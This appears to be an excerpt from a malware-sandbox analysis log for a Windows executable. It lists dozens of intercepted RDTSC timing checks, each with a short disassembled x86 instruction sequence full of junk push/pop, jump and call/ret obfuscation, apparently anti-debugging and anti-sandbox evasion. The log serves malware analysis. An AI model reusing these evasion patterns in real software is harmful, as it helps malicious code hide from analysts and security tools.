Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4B8E second address: 7B4C33 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov di, si 0x0000000b sbb dx, 5AD1h 0x00000010 push 00000000h 0x00000012 adc dh, 00000056h 0x00000015 push BE14CC30h 0x0000001a push eax 0x0000001b je 00007F7A2D39F17Fh 0x00000021 jmp 00007F7A2D39F179h 0x00000026 pop eax 0x00000027 add dword ptr [esp], 41EB3450h 0x0000002e jmp 00007F7A2D39F170h 0x00000033 push 00000003h 0x00000035 jnc 00007F7A2D39F16Ch 0x0000003b mov edi, dword ptr [ebp+122D2C01h] 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 call 00007F7A2D39F168h 0x0000004b pop eax 0x0000004c mov dword ptr [esp+04h], eax 0x00000050 add dword ptr [esp+04h], 00000016h 0x00000058 inc eax 0x00000059 push eax 0x0000005a ret 0x0000005b pop eax 0x0000005c ret 0x0000005d mov edi, 6E55D5FEh 0x00000062 push 00000003h 0x00000064 jmp 00007F7A2D39F170h 0x00000069 call 00007F7A2D39F169h 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 push edi 0x00000072 pop edi 0x00000073 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4C33 second address: 7B4C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4C37 second address: 7B4C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4C42 second address: 7B4C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4C4F second address: 7B4C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4C53 second address: 7B4C59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4DE0 second address: 7B4DF6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7A2D39F16Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4DF6 second address: 7B4DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4DFA second address: 7B4E29 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F7A2D39F16Bh 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 jmp 00007F7A2D39F171h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4E29 second address: 7B4E33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7A2CC6ACE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7A631A second address: 7A6331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2D39F16Ch 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7A6331 second address: 7A6335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D4611 second address: 7D4632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D4632 second address: 7D463B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D463B second address: 7D4641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D4641 second address: 7D4645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D4A3E second address: 7D4A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D4A44 second address: 7D4A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D4D8A second address: 7D4DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F7A2D39F179h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D4DB1 second address: 7D4DEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7A2CC6ACF0h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F7A2CC6ACF6h 0x00000011 popad 0x00000012 push ebx 0x00000013 jmp 00007F7A2CC6ACEDh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D51AD second address: 7D51BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F7A2D39F166h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D51BA second address: 7D51BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D51BE second address: 7D5202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F7A2D39F17Ch 0x0000000c jmp 00007F7A2D39F174h 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 jmp 00007F7A2D39F174h 0x00000019 jmp 00007F7A2D39F16Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D5536 second address: 7D554C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7A2CC6ACE6h 0x0000000a jmp 00007F7A2CC6ACECh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79A43C second address: 79A440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79A440 second address: 79A444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79A444 second address: 79A450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79A450 second address: 79A454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D5EAD second address: 7D5EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D61D4 second address: 7D61F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F7A2CC6ACF5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D61F0 second address: 7D6209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jmp 00007F7A2D39F16Dh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D6640 second address: 7D666B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F7A2CC6ACEAh 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F7A2CC6ACE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D7ECE second address: 7D7EE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D8CEC second address: 7D8D22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A2CC6ACF3h 0x00000008 jne 00007F7A2CC6ACE6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 jmp 00007F7A2CC6ACF2h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7DA7BC second address: 7DA7C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7DA7C0 second address: 7DA7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push edi 0x0000000a jnl 00007F7A2CC6ACE6h 0x00000010 pop edi 0x00000011 pop ebx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7A2CC6ACF7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7DA7F1 second address: 7DA7F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7DA7F7 second address: 7DA817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F7A2CC6ACE6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7A2CC6ACEEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7DEE7A second address: 7DEE90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7A2D39F170h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E191A second address: 7E192A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7A2CC6ACE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E192A second address: 7E193E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F170h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E193E second address: 7E1962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push edi 0x00000008 push ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7A2CC6ACF4h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E1C04 second address: 7E1C31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F7A2D39F17Dh 0x0000000c jmp 00007F7A2D39F175h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push edx 0x00000015 js 00007F7A2D39F16Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7D8CE8 second address: 7D8CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E2370 second address: 7E2376 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E2376 second address: 7E2387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jnp 00007F7A2CC6ACE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E44E4 second address: 7E44EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E44EA second address: 7E44F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E46C4 second address: 7E46CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E47CE second address: 7E47D8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7A2CC6ACECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E47D8 second address: 7E47E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E4BA5 second address: 7E4BC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E4C44 second address: 7E4C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E4FD2 second address: 7E4FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E4FDF second address: 7E4FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E4FE3 second address: 7E4FED instructions: 0x00000000 rdtsc 0x00000002 js 00007F7A2CC6ACE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E50CE second address: 7E50D3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E730C second address: 7E731B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7A2CC6ACE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E7E4A second address: 7E7E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E8988 second address: 7E8993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7A2CC6ACE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E8993 second address: 7E8998 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7E9365 second address: 7E9369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EA0D2 second address: 7EA0E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F170h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EA0E6 second address: 7EA0EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EAB5B second address: 7EAB65 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7A2D39F166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F002D second address: 7F0097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A2CC6ACEEh 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e sub di, DF90h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F7A2CC6ACE8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f add edi, dword ptr [ebp+122D1B48h] 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122D1FABh], ebx 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f jmp 00007F7A2CC6ACF7h 0x00000044 push eax 0x00000045 push edx 0x00000046 push ebx 0x00000047 pop ebx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F0097 second address: 7F009B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EE3FA second address: 7EE437 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7A2CC6ACF0h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7A2CC6ACF3h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F009B second address: 7F00AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EE437 second address: 7EE43C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F00AA second address: 7F00AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F00AF second address: 7F00B9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7A2CC6ACECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F2007 second address: 7F200C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F200C second address: 7F2078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F7A2CC6ACE8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+122D38EBh], esi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F7A2CC6ACE8h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a mov dword ptr [ebp+122D38B8h], ecx 0x00000050 push eax 0x00000051 jl 00007F7A2CC6ACF4h 0x00000057 push eax 0x00000058 push edx 0x00000059 push esi 0x0000005a pop esi 0x0000005b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F225D second address: 7F2264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F30EC second address: 7F30F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F3F18 second address: 7F3F36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F3F36 second address: 7F3F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F3F3A second address: 7F3F44 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7A2D39F166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F3F44 second address: 7F3F97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F7A2CC6ACE8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov di, 5792h 0x0000002c push 00000000h 0x0000002e mov edi, edx 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F3F97 second address: 7F3FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F16Ch 0x00000009 rdtsc
